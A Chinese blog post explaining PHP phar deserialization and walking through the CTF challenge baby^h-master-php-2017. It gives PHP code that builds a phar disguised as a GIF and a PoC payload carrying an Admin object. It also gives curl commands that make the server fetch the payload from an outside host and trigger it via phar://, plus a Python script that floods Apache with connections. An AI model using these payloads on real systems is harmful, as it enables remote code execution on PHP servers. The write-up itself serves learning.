phar反序列化
参考文献:https://xz.aliyun.com/t/2715
https://www.jianshu.com/p/19e3ee990cb7
phar原理:
一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar
扩展将无法识别这个文件为phar
文件。
ps:要将php.ini
中的 phar.readonly
选项设置为Off
。
一个例子
序列化
<?php class TestObject { } $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> data='sheng'; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
反序列化
<?php class TestObject{ function __destruct() { echo $this -> data; } } include('phar://phar.phar'); ?>
将phar伪造成其他格式的文件
<?php class TestObject { } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); #设置stub,增加gif文件头 $phar ->addFromString('test.txt','test'); #添加要压缩的文件 $object = new TestObject(); $object -> data = 'sheng'; $phar -> setMetadata($object); #将自定义meta-data存入manifest $phar -> stopBuffering(); ?>
一道相关的ctf(orange大佬的baby^h-master-php-2017)
源码
<?php $FLAG = create_function("", 'die(`/read_flag`);'); $SECRET = `/read_secret`; $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($SANDBOX); @chdir($SANDBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); } class User { public $avatar; function __construct($path) { $this->avatar = $path; } } class Admin extends User { function __destruct() { $random = bin2hex(openssl_random_pseudo_bytes(32)); eval("function my_function_$random() {" . " global \$FLAG; \$FLAG();" . "}"); $_GET["lucky"](); } } function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); #从cookie中取出data和hmac签名 if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){ #判空 die("Bye"); } if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {#判断data加密之后和hmac签名是否对应 die("Bye Bye"); } $data = unserialize($data); #反序列化 if (!isset($data->avatar)){ #如果反序列化之后的data包含的类中无avatar成员,退出 die("Bye Bye Bye"); } return $data->avatar; } function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif"); if (substr($data, 0, 6) !== "GIF89a") { die("Fuck off"); } file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); } function show($path) { if (!file_exists($path . "/avatar.gif")) { $path = "/var/www/html"; } header("Content-Type: image/gif"); die(file_get_contents($path . "/avatar.gif")); } $mode = $_GET["m"]; if ($mode == "upload") { upload(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 请求url中的内容写到该路径下的avatar.gif文件中 } else if ($mode == "show") { show(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 展示该目录下的avatar.gif } else { highlight_file(__FILE__); }
思路
- flag在admin类里,如果能够反序列化就能触发析构函数获取flag
解题过程
- 上传一个
phar
文件,之后使用phar
解析,反序列化之后从而进入Admin
类中的__destruct
方法.
avatar.gif的poc
<?php class Admin { public $avatar = 'orz'; } $p = new Phar(__DIR__ . '/avatar.phar', 0); $p['file.php'] = 'idlefire'; $p->setMetadata(new Admin()); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif'); ?>
- 将生成好的
avatar.gif
上传,之后会出现另一个难点.$FLAG = create_function("", 'die(
/read_flag);');
$FLAG
是通过create_function
创建的,并且没有函数名。但这个匿名函数是有名字的,格式是\x00lambda_%d
。其中%d
会从1一直进行递增,表示这是当前进程中第几个匿名函数。因此如果开启一个新的php进程
,那么这个匿名函数就是\x00lambda_1
,所以通过向Pre-fork
模式的apache服务器
发送大量请求,致使apache
开启新的进程来处理请求,那么luck=%00lambda_1
就可以执行函数了.
$ curl http://127.0.0.1/baby.php --cookie-jar cookie $ curl -b cookie 'http://127.0.0.1/baby.php/?m=upload&url=http://xxx.xxx.xxx.xxx/avatar.gif' $ python fork.py & $ curl -b cookie "http://127.0.0.1/baby.php/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"
fork.py
# coding: UTF-8 # Author: orange@chroot.org import requests import socket import time from multiprocessing.dummy import Pool as ThreadPool try: requests.packages.urllib3.disable_warnings() except: pass def run(i): while 1: HOST = 'x.x.x.x' PORT = 80 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall('GET / HTTP/1.1\nHost: xxxxx\nConnection: Keep-Alive\n\n') # s.close() print 'ok' time.sleep(0.5) i = 8 pool = ThreadPool( i ) result = pool.map_async( run, range(i) ).get(0xffff)

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
如何把 Markdown 文件批量转换为 pdf?
需求 有个朋友提出,希望把目录中的许多 markdown 文件,批量转换为对应名称的 pdf 格式文件。我于是编写了一个 Python 脚本,并且分享给你。如果你有类似的需求,欢迎使用。 由于使用了 pandoc 作为转换工具,因此 Markdown 文件里的图片链接,不论是本地存储的(只测试了绝对路径情况),还是图床上的,都可以正确转换并且显示到 pdf 文件里。 环境 因为提出需求的朋友,使用的是 macOS 系统,因此这里我们以 macOS 系统的安装方式为准。注意下述工具实际上都是跨平台的。因此如果你使用的是 Windows 或者 Linux ,理论上也都是可以使用的。 这个脚本在 macOS 下测试通过,欢迎你把其他平台测试的结果告诉我。 python 3 建议使用 anaconda 软件包。请到这个地址下载适合自己操作系统的 Python 3 版本,并且进行安装。我曾经做了一个视频教程,完整展示和讲解了 anaconda 的安装流程,并且介绍了如何进行相关的命令行操作。欢迎点击这个链接,观看相关的介绍说明。 pandoc 请到这个链接,下载最新版本的 pandoc 并且进行...
- 下一篇
Java Apache POI 操作 Excel 导出
版权声明:本文首发 http://asing1elife.com ,转载请注明出处。 https://blog.csdn.net/asing1elife/article/details/82655653 Java Apache POI 操作 Excel 导出 Java 可以通过 Apache POI 操作 Excel 的导入导出 Apache POI 是一套操作 Microsoft Office 套件的开源 Java API 更多精彩 更多技术博客,请移步 asing1elife’s blog JAR 包依赖及介绍 请参见 Java Apache POI 操作 Excel 导入 实现步骤 创建 Excel 实体类,用于同一接收导出数据 headers 用于存储导出数据时规定的表格头部内容 cells 是一个在 List 中嵌套 List 的结构 外层的 List 表示行数据 内层的 List 表示列数据 结合起来也就是有多少行多少列的数据 如果导出的内容存在多个 sheet ,只需要使用一个 Map ,通过 key-value 的形式包装 Excel 实体类即可 例如 Map<S...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- CentOS7,8上快速安装Gitea,搭建Git服务器
- 设置Eclipse缩进为4个空格,增强代码规范
- SpringBoot2全家桶,快速入门学习开发网站教程
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- Red5直播服务器,属于Java语言的直播服务器
- CentOS8安装Docker,最新的服务器搭配容器使用
- Docker安装Oracle12C,快速搭建Oracle学习环境
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7
- SpringBoot2更换Tomcat为Jetty,小型站点的福音